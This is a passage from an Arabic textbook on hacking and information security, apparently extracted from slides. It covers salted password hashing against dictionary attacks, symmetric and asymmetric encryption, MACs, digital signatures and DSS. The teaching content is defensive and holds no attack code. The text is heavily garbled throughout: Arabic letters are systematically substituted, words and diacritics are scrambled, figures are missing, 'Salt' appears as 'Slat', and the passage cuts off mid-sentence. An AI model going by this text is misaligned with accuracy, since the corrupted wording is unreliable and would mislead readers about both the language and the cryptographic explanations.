‫ك‬ ‫استخدامها‬ ‫م‬‫ت‬َ‫ي‬ input ‫ال‬ ‫مع‬ One-way function ‫ستق‬ ‫التي‬ ‫ال‬ ‫بعمل‬ ‫وم‬ hash ‫ال‬ ‫أو‬ ‫للرسالة‬ password ‫بذلك‬ ‫قينتج‬ .‫ختزينه‬ ‫أو‬ ‫لرساله‬ ‫راد‬ُ‫مل‬‫ا‬ hash value ‫ال‬ ‫أو‬ ‫الرسالة‬ ‫مع‬ ‫مبارشة‬ ‫عالقة‬ ‫هلا‬ ‫ليست‬ password ‫ال‬ ‫لجراء‬ ‫قبل‬ ‫معها‬ ‫األطرى‬ ‫األحرف‬ ‫بعض‬ ‫بإلصاق‬ ‫منا‬ُ‫ق‬ ‫ألننا‬ ،!‫املعادلة‬ ‫يف‬ ‫الداطلة‬ hashing . ‫أمهية‬ ‫ن‬ُ‫تكم‬ ‫ال‬ ‫ذذا‬ Slat ‫احلامية‬ ‫يف‬ ‫ال‬ ‫ذجامت‬ ‫من‬ “Dictionary Attack” ..‫ذذا‬ ‫مثالنا‬ ‫يف‬
  • 363.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [363] ‫ال‬ ‫ذذا‬ ‫بإرسال‬ ‫سنقوم‬ Salt ‫ال‬ ‫مع‬ ‫الرسالة‬ ‫ه‬َ‫ل‬ ‫ل‬‫ُرس‬‫ن‬ ‫م‬ُ‫ث‬ ،‫فرده‬ُ‫م‬‫ب‬ ‫اآلطر‬ ‫رف‬َ‫ط‬‫ال‬ ‫لىل‬ hash file ، ‫ال‬ ‫بتطبيق‬ ‫ذو‬ ‫يقوم‬ hash function ‫ال‬ ‫لدطال‬ ‫مع‬ Slat ‫ال‬ ‫قارن‬ُ‫ي‬‫و‬ ، hash value .‫الرسالة‬ ‫مع‬ ‫ة‬َ‫م‬‫القاد‬ ‫بتلك‬ ‫ة‬َ‫الناجت‬ ‫ما‬ ‫ال‬ ‫ذذا‬ “Dictionary Attack” ‫؟‬.. ..‫ذاذو‬  ‫ال‬ ‫تطبيق‬ ‫عملية‬ ‫لهنا‬ Hash Function ‫ملف‬ ‫يف‬ ‫ضعها‬َ‫و‬ ‫م‬‫ت‬َ‫ي‬ ،‫قرتحة‬ُ‫مل‬‫ا‬ ‫الُس‬ ‫كلامت‬ ‫من‬ ‫كبرية‬ ‫كمية‬ ‫عىل‬ txt ‫األدا‬ ‫قتقوم‬ ، ‫ة‬ ‫ل‬َ‫م‬َ‫ع‬‫ب‬ hashing َ‫م‬‫َل‬‫ك‬ ‫ُل‬‫ك‬‫ل‬ ‫ة‬ ‫ال‬ ‫قارنة‬ُ‫م‬‫و‬ hash value ‫بال‬ hash ‫عطا‬ُ‫مل‬‫ا‬ ‫ة‬ َ‫ط‬َ‫ق‬َ‫ت‬‫ل‬ُ‫مل‬‫(ا‬ ‫ة‬ ‫ث‬ُ‫د‬ َ ‫حي‬ ‫أن‬ ‫لىل‬ ،) ‫ال‬ ‫أحد‬ ‫بني‬ ‫ه‬ُ‫ب‬‫َشا‬‫ت‬ hash values ‫عطا‬ُ‫مل‬‫ا‬ ‫لك‬‫وت‬ ‫ة‬ .!
  • 364.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [364] ‫تظهر‬ ‫وذكذا‬ ‫ال‬ ‫قائدة‬ Salt .!‫العملية‬ ‫يف‬ ‫ال‬ ‫استخدام‬ ‫قعدم‬ Salt ‫ال‬ ‫عملية‬ ‫من‬ ‫هل‬ ِّ ‫س‬ُ‫ي‬ Dictionary attack . ‫استخدام‬ ً‫ا‬‫أيض‬ " ‫ِس‬ ‫كلامت‬ " ‫من‬ ‫ع‬ ِّ ‫ُس‬ُ‫ي‬ ‫سهلة‬ ‫أو‬ ‫بسيطة‬ .!‫ختمينها‬ ‫أو‬ ‫كُسذا‬ ‫عملية‬ ‫ال‬ ‫تطبيق‬ ‫طريقة‬ ‫يوضح‬ ‫آطر‬ ‫شكل‬ ‫ذذا‬ Hashing ‫مع‬ ‫ال‬ ‫استخدام‬ Salt ‫ال‬ ‫لىل‬ ‫أحدذم‬ ‫دطول‬ ‫تسجيل‬ ‫أثناء‬ Server :
  • 365.
  • 366.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [366] ‫الثالث‬ ‫اخلطوة‬ ‫يف‬ ‫الحظ‬ ‫ة‬ ‫ال‬ ‫قام‬ ‫كيف‬ Server ‫بعمل‬ “Concatenate” ‫ال‬ ‫بني‬ password ‫وال‬ salt ‫ال‬ ‫تطبيق‬ ‫ثم‬ ، Hashing Function ‫ن‬‫خز‬ُ‫مل‬‫ا‬ ‫بتلك‬ ‫النتيجة‬ ‫قارنة‬ُ‫م‬‫و‬ ‫عليهم‬ ‫ة‬ .‫لديه‬ ‫ال‬ ‫وماذذا‬ “Concatenate” ‫؟‬.. ‫دمج‬ ‫عملية‬ ..‫باطتصار‬ ‫لهنا‬ “two strings end-to-end” ‫ال‬ ‫باستخدام‬ operator (+) . ‫صري‬َ‫ق‬ ‫ل‬‫قاص‬ ‫لىل‬ ‫ج‬ ُ‫ر‬‫َخ‬‫ن‬ َ ‫س‬ ..‫جديد‬ ‫من‬ ‫نعود‬ ‫م‬ُ‫ث‬ Confidentiality, Authentication, and Signature ‫ن‬‫ل‬ ‫يعة‬ َ ‫ِس‬ ‫راجعة‬ُ‫م‬‫ب‬ ‫َقوم‬‫ن‬ َ ‫س‬ ‫ؤكد‬ ‫عىل‬ ‫ذذه‬ ‫فاذيم‬َ‫مل‬‫ا‬ :‫وذي‬ ، Confidentiality, Authentication, Nonrepudiation (Digital Signature) :‫األول‬ ‫الشكل‬
  • 367.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [367] ‫ال‬ ‫عن‬ ِّ ‫عرب‬ُ‫ي‬ ‫الشكل‬ ‫ذذا‬ “Symmetric Encryption” ‫ال‬ ‫نفس‬ ‫استخدام‬ ً‫ا‬‫ح‬‫واض‬ ‫يبدو‬ ُ ‫يث‬ َ‫ح‬ ، Key ‫التشفري‬ ‫عملية‬ ‫يف‬ ‫ال‬ ‫ذذا‬ ،!‫التشفري‬ ‫وقك‬ Key ‫تبادله‬ ‫يتم‬ ‫بينهم‬ ‫قيام‬ ‫عرب‬ ‫قنا‬ ‫ة‬ .ً‫ا‬‫الحق‬ ‫عنها‬ ‫سنتكلم‬ ‫آمنة‬ ‫الثا‬ ‫الشكل‬ :‫ين‬ ‫ال‬ ‫عن‬ ِّ ‫عرب‬ُ‫ي‬ ‫الشكل‬ ‫ذذا‬ “Asymmetric Encryption” ‫ال‬ ‫باستخدام‬ ‫الرسالة‬ ‫بتشفري‬ ‫يقوم‬ ‫األول‬ ‫الطرف‬ ‫ألن‬ public key .‫اآلطر‬ ‫بالطرف‬ ‫اخلاص‬ ‫ال‬ ‫لنا‬ ‫قق‬ ُ ‫حي‬ ‫النموذح‬ ‫ذذا‬ Confidentiality ‫ول‬ ‫ال‬ ‫قق‬ ُ ‫حي‬ ‫ال‬ ‫كن‬ Authentication !.. ‫ال‬ ‫قق‬ ُ ‫حي‬ ‫ال‬ ‫اذا‬‫ومل‬ Authentication ‫؟‬ ‫ال‬ ‫أن‬ ‫بام‬ key ‫ال‬ ‫ذو‬ ‫ة‬ َ‫فر‬ َ ‫الش‬ ‫ك‬َ‫ف‬‫ل‬ ‫ستخدم‬ُ‫مل‬‫ا‬ “B’s Private Key” ‫قتح‬ ‫ن‬‫م‬ ‫ّن‬‫ك‬َ‫تم‬َ‫ي‬ َ ‫س‬ ُ‫ه‬‫وا‬‫س‬ ‫أحد‬ ‫ال‬ ُ‫ه‬‫أن‬ ‫عني‬َ‫ي‬ ‫هذا‬َ‫ق‬ ‫قام‬ ‫بينام‬ ،!‫امللف‬ B ‫ال‬ ‫بإرسال‬ public key ‫لىل‬ ‫به‬ ‫اخلاص‬ A ‫أي‬ ‫تشفري‬ ‫من‬ ‫قيتمكن‬ ‫أحدذم‬ ‫د‬َ‫ي‬‫ب‬ ‫فتاح‬‫امل‬ ‫ذذا‬ ‫قع‬َ‫ي‬ ‫بام‬ ُ‫قر‬ ، ‫ل‬ ‫بإرساهلا‬ ‫ويقوم‬ ‫بيانات‬ B ‫أنه‬ ً‫ا‬‫ي‬‫ع‬ّ‫د‬ُ‫م‬ A . ‫ال‬ ‫ُحقق‬‫ن‬‫ل‬ ‫سنفعل‬ ‫ماذا‬ ‫واآلن‬ Authentication ‫؟‬ ..‫الثالث‬ ‫الشكل‬ ‫لنا‬ ‫به‬ ‫سيأيت‬ ‫ما‬ ‫ذذا‬
  • 368.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [368] :‫الثالث‬ ‫الشكل‬ ‫ال‬ ‫بتحقيق‬ ‫منا‬ُ‫ق‬ Authentication ‫الطرف‬ ‫جعل‬ ‫طريق‬ ‫عن‬ A ‫ال‬ ‫باستخدام‬ ‫الرسالة‬ ‫بتشفري‬ ‫يقوم‬ private key ‫اخلاص‬ ‫ال‬ ‫ِسقة‬ ‫عملية‬ ‫ألن‬ ‫وذذا‬ ،!‫ذو‬ ‫به‬ private key ‫بأحدذم‬ ‫اخلاص‬ ‫ال‬ ‫ِسقة‬ ‫من‬ ‫بكثري‬ ‫أصعب‬ public key . ‫ال‬ ‫لنا‬ ‫قق‬ ُ ‫حي‬ ‫النموذج‬ ‫ذذا‬ ‫وبالتايل‬ Authentication ‫وال‬ Signature . ‫ال‬ ‫النموذج‬ ‫ذذا‬ ‫قق‬ ُ ‫حي‬ ‫كيف‬ ‫ولكن‬ ..ً‫ا‬‫عفو‬ Signature ‫؟‬.. ‫ال‬ ‫َموذج‬‫ن‬‫ال‬ ‫ذذا‬ ‫قق‬ ُ ‫حي‬ َ ‫َيف‬‫ك‬ ً‫ا‬‫ئي‬َ‫بد‬َ‫م‬ ‫نا‬‫ق‬ َ‫ر‬َ‫ع‬ ‫لقد‬ Authentication ‫س‬ . ‫ن‬ ‫أ‬ ‫ذ‬ ُ ‫ط‬ ‫ل‬ ‫ثال‬‫م‬ ‫ن‬ َ ‫كيف‬ ُ‫ه‬‫ن‬‫م‬ ‫فهم‬ ِّ‫ق‬َ ُ ‫حي‬ ‫ق‬ ‫لنا‬ .‫األطرية‬ ‫ال‬ Signature ‫أن‬ ‫اجلميع‬ َ‫م‬‫أما‬ ‫لثبات‬ ‫ذدقها‬ A ‫لىل‬ ‫الرسالة‬ ‫ذذه‬ ‫بإرسال‬ ‫قام‬ ‫من‬ ُ‫ه‬َ‫حد‬َ‫و‬ ‫ذو‬ B . ‫ذذه‬ ‫كانت‬ ‫لو‬ ‫ماذا‬ َ ‫اس‬ ّ ‫س‬ َ‫ح‬ ‫علومات‬َ‫م‬ ‫حتوي‬ ‫الرسالة‬ ‫ة‬ ‫رارات‬َ‫ق‬ ‫أو‬ ، ‫مهم‬ ‫ة‬ ! ، ‫للطرف‬ ‫رصة‬ُ‫ق‬ ‫ُتيح‬‫ن‬ ‫بام‬ُ‫ر‬ B ‫يأيت‬ ‫بأن‬ ‫ب‬ُ‫بالتالع‬ ‫أن‬ ‫عي‬ّ‫د‬َ‫ي‬‫و‬ ‫رسالة‬‫ب‬ ‫لنا‬ A ‫بإرساهلا‬ ‫قام‬ ‫بال‬ ‫تشفريذا‬ ‫بفك‬ ‫قام‬ ُ‫ه‬‫وأن‬ ،!‫له‬ public key ‫ب‬ ‫اخلاص‬ A .. ‫نا؟‬ُ‫ذ‬ ‫ماحلل‬ ‫الطرف‬ ‫يقوم‬ ‫قاعدة‬ ‫نضع‬ ‫أن‬ ‫نا‬ُ‫ذ‬ ‫احلل‬ B ‫من‬ ‫أتت‬ ‫الرسالة‬ ‫بأن‬ ‫اإلدعاء‬ ‫يف‬ ‫احلق‬ ‫امتالك‬ ‫قتضاذا‬ُ‫بم‬ A ‫لنا‬ ‫ر‬‫ظه‬ُ‫ي‬ ‫أن‬ ‫وذو‬ ، ‫ال‬ Ciphertext ‫من‬ ‫له‬ ‫القادم‬ A ..
  • 369.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [369] ‫ال‬ ‫وملاذا‬ Ciphertext ‫بالذات؟‬ ‫أن‬ ‫ام‬‫ب‬ A ‫الوحيد‬ ‫ذو‬ ‫ال‬ ‫يمتلك‬ ‫الذي‬ Private Key ‫قهو‬ ، ‫ال‬ ‫تكوين‬ ‫يستطيع‬ ‫الذي‬ ‫الوحيد‬ ‫الشخص‬ Ciphertext ، ‫أل‬ ‫وليس‬ !‫ذلك‬ ُ‫ه‬‫سوا‬ ‫حد‬ ‫ال‬ ‫ذذا‬ ‫ِسقة‬ ‫متت‬ ‫لذا‬ ‫لال‬ ، private key .!‫اجلهاز‬ ‫من‬ ‫ال‬ ‫ذذا‬ ‫د‬ ُ‫تواج‬ ‫وبالتايل‬ Ciphertext ‫عند‬ ‫ذاته‬ ‫حد‬ ‫يف‬ B ‫أن‬ ‫كايف‬ ‫دليل‬ ‫ذو‬ A .!‫الرسالة‬ ‫ذذه‬ ‫أرسل‬ ‫من‬ ‫ذو‬ ‫ال‬ ‫أن‬ ‫ر‬‫ك‬َ‫َذ‬‫ت‬ Signature ‫ال‬ ‫مفهوم‬ ‫م‬ِّ‫ع‬‫ُد‬‫ت‬ Nonrepudiation ‫تعني‬ ُ ‫حيث‬ ، " ‫منع‬ ‫لرساله‬ ‫بعدم‬ ‫اإلدعاء‬ ‫من‬ ‫ل‬‫رس‬ُ‫مل‬‫ا‬ ‫بعدم‬ ‫ادعائه‬ ‫من‬ ‫ل‬‫ستقب‬ُ‫مل‬‫ا‬ ‫ومنع‬ ،‫للرسالة‬ ‫لليه‬ ‫وصوهلا‬ " . ‫ال‬ ‫حتقيق‬ ‫عدم‬ ‫الحظت‬ ‫ولكني‬ Confidentiality ‫تتحقق؟‬ ‫مل‬ ‫ملاذا‬ ..!‫النموذج‬ ‫ذذا‬ ‫يف‬ ‫مرح‬ ‫عىل‬ ‫دة‬‫عتم‬ُ‫م‬ ‫الشفرة‬ ‫قك‬ ‫عملية‬ ‫ألن‬ ‫ال‬ ‫امتالك‬ ‫وذي‬ ‫واحدة‬ ‫لة‬ public key ‫بالطرف‬ ‫اخلاص‬ A . ‫ال‬ ‫ذذا‬ ‫وقع‬ ‫قإذا‬ public key ‫بي‬ ‫الرسالة‬ ‫رؤية‬ ‫من‬ ‫قسيتمكن‬ ‫أحدذم‬ ‫د‬ ‫لل‬ ‫طرق‬ ‫وذذا‬ ، Confidentiality . ‫ال‬ ‫مثال‬ ‫ر‬‫ك‬َ‫َذ‬‫ت‬ Student Record ‫وأولي‬ ‫الطالب‬ ‫لال‬ ‫عليها‬ ‫باالطالع‬ ‫ألحد‬ ‫السامح‬ ‫يتم‬ ‫ال‬ ‫والتي‬ ، ‫توظيفه‬ ‫وجهة‬ ‫أموره‬ ‫اء‬ ، ‫واط‬ ‫موثوقي‬ ‫يف‬ ‫طلل‬ ‫وجود‬ ‫عىل‬ ‫يدل‬ ‫عليها‬ ‫غريذم‬ ‫الع‬ ‫ة‬ .!‫املعهد‬ ‫ذذا‬ ‫ال‬ ‫ُحقق‬‫ن‬ ‫كيف‬ Confidentiality ..‫اخلصائص‬ ‫بقية‬ ‫عىل‬ ‫اإلبقاء‬ ‫مع‬ ،‫؟‬..ً‫ا‬‫لذ‬ " ‫علينا‬ ‫جيب‬ُ‫ي‬‫س‬ ‫الرابع‬ ‫الشكل‬ "
  • 370.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [370] :‫الرابع‬ ‫الشكل‬ ،‫التشفري‬ ‫وقك‬ ‫التشفري‬ ‫عملية‬ ‫أثناء‬ ‫أطرى‬ ‫مرحلة‬ ‫بإضاقة‬ ‫منا‬ُ‫ق‬ ‫لقد‬ ‫الطرف‬ ‫سيقوم‬ A ‫بالتشف‬ ‫بال‬ ‫األوىل‬ ،‫مرحلتني‬ ‫عىل‬ ‫ري‬ Private Key ‫ال‬ ‫حقق‬ ‫قد‬ ‫يكون‬ ‫وِبذا‬ ،‫به‬ ‫اخلاص‬ Signature ‫وال‬ Authentication . ‫ال‬ ‫باستخدام‬ ‫أطرى‬ ً‫ة‬‫مر‬ ‫بالتشفري‬ ‫يقوم‬ ‫ثم‬ Public Key ‫بالطرف‬ ‫اخلاص‬ B ‫ال‬ َ ‫ق‬َ‫ق‬ َ‫ح‬ ‫قد‬ ‫ِبذا‬ ‫ليكون‬ ، Confidentiality . ‫ي‬ ‫ال‬ ‫ذذا‬ ،!‫األقضل‬ ‫ذو‬ ‫النموذج‬ ‫ذذا‬ ‫أن‬ ‫عني‬ ‫أنه‬ ‫الحظ‬ ‫يستهلك‬ Resources ‫لجراء‬ ‫بسبب‬ ‫عالية‬ " ‫عمليات‬ ‫أربع‬ " ‫قيها‬ ‫رسالة‬ ‫لرسال‬ ‫يتم‬ ‫مرة‬ ‫كل‬ ‫يف‬ . Message Authentication Code (MAC) ‫معرقت‬ ‫وبعد‬ ‫واآلن‬ ‫نا‬ ‫ال‬ ‫ملفهوم‬ ‫اجليدة‬ Authentication ‫ال‬ ‫لتحقيق‬ ‫ستخدمة‬ُ‫مل‬‫ا‬ ‫التكنولوجيا‬ ‫ذذه‬ ‫لىل‬ ‫االنتقال‬ ‫ننا‬‫مك‬ُ‫ي‬ ، Authentication ‫و‬ ،‫طرقني‬ ‫بني‬ ‫ال‬ ‫ذي‬ MAC . ‫ال‬ ‫ذذا‬ ‫ما‬ MAC ‫؟‬..
  • 371.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [371] ‫ال‬ ‫تطبيق‬ ‫بعد‬ ‫ُج‬‫ت‬‫ين‬ ‫الذي‬ ‫اليشء‬ ‫لنه‬ Secret Key ‫قيتم‬ ،‫لرساهلا‬ ‫راد‬ُ‫مل‬‫ا‬ ‫البيانات‬ ‫أو‬ ‫الرسالة‬ ‫عىل‬ )‫طرقني‬ ‫بني‬ ‫ك‬َ َ ‫رت‬ َ ‫ش‬ُ‫مل‬‫(ا‬ .‫اآلطر‬ ‫الطرف‬ ‫لىل‬ ‫الرسالة‬ ‫مع‬ ‫لرساله‬ ‫الناتج؟‬ ‫اليشء‬ ‫ذذا‬ ‫ذو‬ ‫وما‬ ‫عبار‬ ‫لنه‬ ‫ة‬ ‫عن‬ “Fixed-size block of data” َ‫ل‬‫ط‬ُ‫ي‬ ً‫ا‬‫أيض‬ ، ‫عليه‬ ‫ق‬ “Cryptographic checksum” ‫لالطتصار‬ ‫أو‬ MAC . ‫التالي‬ ‫باملعادلة‬ ‫اإلجراء‬ ‫ذذا‬ ‫عن‬ ‫التعبري‬ ‫ُنا‬‫ن‬‫مك‬ُ‫ي‬ ،ً‫ا‬‫لذ‬ ‫ة‬ : MAC = C ( K, M ) ‫ال‬ ‫ذذا‬ MAC ‫ال‬ ‫قيام‬ ‫عند‬ ‫عليه‬ ‫ل‬ ُ ‫سنحص‬ ،‫الرسالة‬ ‫مع‬ ُ‫ه‬‫بإرقاق‬ ‫سنقوم‬ ‫الذي‬ MAC Function (C) ، ‫بتطبيق‬ ‫ال‬ Key (K) ‫الرسالة‬ ‫عىل‬ (M) . ‫ال‬ ‫يقوم‬ ‫ال‬ ‫بتطبيق‬ ‫اآلطر‬ ‫طرف‬ MAC Function ‫م‬َ‫ل‬َ‫ت‬‫س‬ُ‫مل‬‫ا‬ ‫الرسالة‬ ‫عىل‬ ً‫ا‬‫أيض‬ ‫ة‬ ‫ال‬ ‫إلنتاج‬ MAC ‫ومقارنته‬ ‫الذي‬ ‫بذلك‬ .‫الرسالة‬ ‫حبة‬ ُ ‫بص‬ ‫أتى‬ ‫ال‬ ‫لتطبيق‬ ‫األقكار‬ ‫بعض‬ ‫لك‬ ‫سنعرض‬ MAC . :‫التقليدي‬ ‫بالشكل‬ ‫نبدأ‬
  • 372.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [372] ‫لل‬ ‫تطبيقه‬ ‫يف‬ ‫بارش‬ُ‫م‬‫و‬ ً‫ا‬‫واضح‬ ‫يبدو‬ ‫الشكل‬ ‫ذذا‬ MAC Function ‫ال‬ ‫عمل‬ ‫و‬ Calculation ‫ل‬ ‫ل‬ MAC ‫الناحية‬ ‫يف‬ ‫قارن‬ُ‫مل‬‫ا‬ ‫عمل‬ ‫ثم‬ ‫األطرى‬ ‫ة‬ .‫بينهم‬ :‫الثاين‬ ‫الشكل‬ ‫ال‬ ‫استخدام‬ ‫بعد‬ ،‫ططوة‬ ‫بإضاقة‬ ‫نا‬ُ‫ذ‬ ‫منا‬ُ‫ق‬ MAC Function ‫لل‬ Key ‫ال‬ ‫لنتاج‬ ‫يف‬ MAC ‫باستخدام‬ ‫منا‬ُ‫ق‬ ، Key ‫آطر‬ ‫ال‬ + ‫(الرسالة‬ ‫لتشفري‬ MAC .!‫التقاطها‬ ‫حالة‬ ‫يف‬ ‫للرسالة‬ ‫امية‬‫احل‬ ‫ُعطي‬‫ن‬‫ل‬ ) ‫طا‬ ‫حققنا‬ ‫أننا‬ ‫يعني‬ ‫ذذا‬ :‫صيتني‬ ‫ال‬ Authentication ‫لل‬ ‫ولكن‬ ‫حققناه‬ plaintext ‫وال‬ .!‫تشفريذا‬ ‫قبل‬ ‫للرسالة‬ ‫أي‬ ، Confidentiality ‫طريق‬ ‫عن‬ ‫ال‬ ‫استخدام‬ K2 .
  • 373.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [373] :‫الثالث‬ ‫الشكل‬ ‫ال‬ ‫بتطبيق‬ ‫منا‬ُ‫ق‬ ‫ثم‬ً‫ال‬‫أو‬ ‫الرسالة‬ ‫بتشفري‬ ‫قمنا‬ ‫نا‬ُ‫ذ‬ ‫أننا‬ ‫الحظ‬ MAC Function .!‫رة‬‫شف‬ُ‫مل‬‫ا‬ ‫الرسالة‬ ‫عىل‬ ‫النموذج‬ ‫ذذا‬ َ ‫ح‬َ‫ب‬‫أص‬َ‫ق‬ ‫ال‬ ‫لنا‬ ‫قق‬ ُ ‫حي‬ Authentication ‫لل‬ Ciphertext ‫وال‬ ، Confidentiality ‫التشفري‬ ‫طريق‬ ‫عن‬ ‫املفتاح‬ ‫باستخدام‬ K2 . Digital Signature ‫ال‬ Digital Signature ‫ال‬ ‫تطبيق‬ ‫عن‬ ‫عبارة‬ ‫ذي‬ “Public Key Cryptography” ‫ال‬ ‫مع‬ “Hashing Function” ، :‫ذي‬ ..‫أذداف‬ ‫ثالثة‬ ‫لتحقيق‬ ‫وذلك‬ Authenticity ‫لثبات‬ ‫قهي‬ “Proof” ‫ال‬ ‫ذذه‬ ‫بإرسال‬ ‫قام‬ ‫الذي‬ ‫الشخص‬ ‫هلوية‬ Document
  • 374.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [374] Integrity ‫ال‬ ‫أن‬ ‫وتأكيد‬ ‫لثبات‬ ‫تعطينا‬ ‫لهنا‬ Document ‫ال‬ ‫أثناء‬ ‫تغيري‬ ‫أو‬ ‫تعديل‬ ‫ألي‬ ‫تتعرض‬ ‫مل‬ ‫ذذه‬ Signing ‫رحلتها‬ ‫أثناء‬ ‫أو‬ ‫كل‬ ‫مع‬ ‫ها‬‫ل‬ُ‫م‬‫تعا‬ ‫بسبب‬ ‫وذذا‬ .‫للينا‬ Bit Binary ‫ال‬ ‫هلذه‬ Document ‫ل‬ ‫راد‬ُ‫مل‬‫ا‬ ‫حذف‬ ‫أو‬ ‫دمج‬ ‫عملية‬ ‫أي‬ ‫ف‬‫كش‬َ‫ي‬ ‫ُما‬ ،‫رساهلا‬ ‫ال‬ ‫هلذه‬ ‫واحد‬ ‫حرف‬ ‫لضاقة‬ ‫أو‬ Document ‫ال‬ ‫تطبيق‬ ‫بعد‬ Algorithm ‫عليها‬ . Nonrepudiation ‫ال‬ ‫ذذه‬ ‫إلرساله‬ ‫ل‬‫رس‬ُ‫مل‬‫ا‬ ‫لنكار‬ ‫عدم‬ ‫تضمن‬ ‫حيث‬ ،‫همة‬ُ‫م‬ ‫طاصية‬ ‫وذذه‬ Document ،!‫قيها‬ ‫كلمة‬ ‫بكل‬ ‫َد‬‫ن‬‫ست‬ُ‫م‬ ‫ِبذا‬ ‫د‬َ‫ع‬ُ‫ت‬‫ق‬ .!‫به‬ ‫لدانته‬ ‫ن‬‫مك‬ُ‫ي‬ ‫رسمي‬ ‫اإلدانة‬ ‫عملية‬ ‫لشكال‬ ‫قيها‬ ‫ذذه‬ ‫القضائية‬ .. ‫مكن‬ُ‫ي‬ ‫ال‬ ‫تعتد‬ ‫أن‬ ‫الرسمية‬ ‫اجلهات‬ ‫التكنولوجيا‬ ‫ِبذه‬ ‫وحدذا‬ ‫ل‬‫رس‬ُ‫مل‬‫ا‬ ‫عىل‬ ِّ ‫ني‬َ‫ب‬ ‫كإثبات‬ ! . ُ ‫حيث‬ ُ‫مل‬‫ا‬ ‫يستطيع‬ ‫أن‬ ‫ل‬‫رس‬ ‫اإلهتام‬ ‫ذذا‬ ‫من‬ ‫ص‬‫يتمل‬ ‫عرب‬ ‫ب‬ ‫الشخيص‬ ‫جهازه‬ ‫بإصابة‬ ‫ادعائه‬ “Malware” ً‫ال‬‫مث‬ " . ‫ال‬ ‫تطبيق‬ ‫يوضح‬ ‫شكل‬ ‫ذذا‬ Digital Signature :‫املذكورة‬ ‫اخلصائص‬ ‫ذذه‬ ‫قق‬ ُ ‫حي‬ ‫بام‬
  • 375.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [375] ‫ال‬ ‫تطبيق‬ ‫ططوات‬ ‫الشكل‬ ‫يوضح‬ Signature ‫السيدة‬ ‫تقوم‬ ‫وثيقة‬ ‫عىل‬ “Rose” ‫السيد‬ ‫لىل‬ ‫بإرساهلا‬ “Kevin” . ‫ال‬ ‫بتطبيق‬ ‫ققامت‬ “Hash Function” ‫ال‬ ‫عىل‬ ‫ل‬ ُ ‫لتحص‬ ،‫ستند‬ُ‫مل‬‫ا‬ ‫عىل‬ ً‫ال‬‫أو‬ Hash value ‫باستخدام‬ ‫بتشفريذا‬ ‫تقوم‬ ‫م‬ُ‫ث‬ ، ‫ال‬ Private Key ‫السيد‬ ‫لىل‬ ‫ولرساهلا‬ Kevin . ‫ال‬ ‫قارنة‬ُ‫م‬‫و‬ ‫اخلطوات‬ ‫بعكس‬ ‫ذو‬ ‫قيقوم‬ Hash value ‫بالذي‬ ‫َلم‬‫ت‬‫س‬ُ‫مل‬‫ا‬ .‫ستند‬ُ‫مل‬‫ا‬ ‫سالمة‬ ‫من‬ ‫ليتأكد‬ ُ‫ه‬‫استخرج‬ ‫الصفح‬ ‫يف‬ ‫نعرض‬ ‫ة‬ ‫التالي‬ ‫ة‬ ‫آطر‬ ‫شكل‬ ‫العملية‬ ‫لنفس‬ :
  • 376.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [376]  ‫ال‬ ‫تطبيق‬ ‫بعد‬ Hash ‫ال‬ ‫باستخدام‬ MD5 ‫أو‬ SHA1 ‫أو‬ SHA2 ، ‫ال‬ ‫عىل‬ ‫ل‬ ُ ‫نحص‬ hash value (h) ‫وب‬ ، ‫عد‬ ‫ال‬ ‫عىل‬ ‫ل‬ ُ ‫نحص‬ ‫التشفري‬ (S) .
  • 377.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [377]  ‫ق‬ِّ‫ب‬َ‫ط‬ُ‫ت‬ ‫األطرى‬ ‫الناحية‬ ‫يف‬ Alice ‫ال‬ Key ‫ال‬ ‫عىل‬ ‫ل‬ ُ ‫ص‬‫َح‬‫ت‬‫ل‬ (h’) .  ‫ال‬ ‫بتطبيق‬ ‫قتقوم‬ MD5 ‫الرسالة‬ ‫عىل‬ ً‫ا‬‫أيض‬ (M) ‫ال‬ ‫قينتج‬ ، (h) ، ‫بال‬ ُ‫ه‬‫ُقارن‬‫ت‬‫ل‬ (h’) . Digital Signature Standard (DSS) ‫ال‬ ‫ذذا‬ ‫ما‬ ( DSS ‫؟‬..) Digital Signature Security Standard (DSS) is a technology for creating digital signatures that was developed by the National Security Agency and adopted by the United States government as its digital-signature standard. DSS defines the Digital Signature Algorithm (DSA), DSA does not encrypt message digests with the private key or decrypt the message digest with the public key!. it uses special mathematical functions to generate a digital signature composed of two 160-bit numbers (s & r) that are derived from the message digest and the private key. Then it uses the public key to verify the signature. ‫ال‬ ‫ذذه‬ ‫تعمل‬ ‫كيف‬ Algorithm ‫؟‬ ‫ال‬ ‫تستخدم‬ 